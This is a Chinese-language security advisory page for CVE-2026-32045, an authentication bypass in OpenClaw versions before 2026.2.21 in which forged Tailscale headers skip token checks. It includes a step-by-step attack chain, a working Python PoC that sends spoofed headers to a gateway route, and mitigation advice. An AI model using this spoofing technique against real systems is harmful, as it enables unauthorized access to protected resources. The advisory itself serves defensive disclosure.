IPBUF安全漏洞报告
English
CVE-2026-32045 CVSS 5.9 中危

CVE-2026-32045 OpenClaw认证绕过漏洞

披露日期: 2026-03-21

漏洞信息

漏洞编号
CVE-2026-32045
漏洞类型
认证绕过
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

认证绕过OpenClawCVE-2026-32045Tailscale配置错误

漏洞概述

OpenClaw在2026.2.21之前的版本中存在严重的身份验证绕过漏洞。该漏洞源于系统错误地将无Token的Tailscale头部认证机制应用到了HTTP网关路由上,导致原本必需的Token和密码验证被错误跳过。位于受信任网络中的攻击者可利用此配置缺陷,在未提供有效身份凭证的情况下直接访问敏感的HTTP网关路由,从而获取机密信息或执行未授权操作,构成较高的安全风险。

技术细节

该漏洞的根源在于OpenClaw对Tailscale头部认证的处理逻辑存在缺陷。在受影响版本中,当请求到达HTTP网关路由时,系统错误地将“无Token Tailscale头部认证”机制优先于标准的Token或密码验证。具体而言,应用程序在检测到来自Tailscale网络的流量时,仅检查特定的HTTP头部(如`Tailscale-User`或`Tailscale-Node-Name`),而未强制要求附带有效的认证Token。由于代码逻辑将网关路由归类为受信任内部访问,导致标准的身份验证流程被短路。攻击者无需知道用户的密码或API Token,只需处于受信任网络中或伪造特定的头部信息,向目标网关发送HTTP请求,即可绕过安全限制直接访问受限资源。这利用了应用程序对内部网络代理(Tailscale)的过度信任,属于典型的认证逻辑缺陷与权限配置错误。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标系统运行的是OpenClaw且版本低于2026.2.21。
STEP 2
2. 网络定位
攻击者确保自己处于受信任的网络范围内,或者能够通过某种方式向目标发送HTTP请求。
STEP 3
3. 构造恶意请求
攻击者向HTTP网关路由发送特制的HTTP请求,并在请求头中伪造Tailscale相关的头部信息(如Tailscale-User),但不携带有效的认证Token或密码。
STEP 4
4. 绕过认证
由于漏洞存在,OpenClaw仅检查Tailscale头部即认为请求已认证,从而跳过了严格的凭证验证,允许攻击者访问受保护的网关资源。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_openclaw(target_url): """ PoC for CVE-2026-32045: OpenClaw Authentication Bypass Demonstrates accessing HTTP gateway routes without tokens by spoofing Tailscale headers. """ # Vulnerable endpoint example route = "/api/gateway/status" full_url = f"{target_url}{route}" headers = { "User-Agent": "Tailscale-Exploit-Scanner/1.0", # Spoofing Tailscale headers to trigger the vulnerable authentication path "Tailscale-User": "[email protected]", "Tailscale-Node-Name": "malicious-node", "Tailscale-User-Login": "admin" } try: print(f"[*] Sending request to {full_url} with spoofed headers...") response = requests.get(full_url, headers=headers, timeout=10) if response.status_code == 200: print("[+] Potential exploit successful! Server responded with 200 OK.") print("[+] Response body:") print(response.text[:500]) # Print first 500 chars else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://localhost:8080" # Replace with actual target exploit_openclaw(target)

影响范围

OpenClaw < 2026.2.21

防御指南

临时缓解措施
如果无法立即升级,建议修改OpenClaw的配置文件,禁用HTTP网关路由或强制要求所有网关请求必须附带有效的API Token,直到补丁应用完成。同时,利用防火墙规则阻断非受信任来源的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表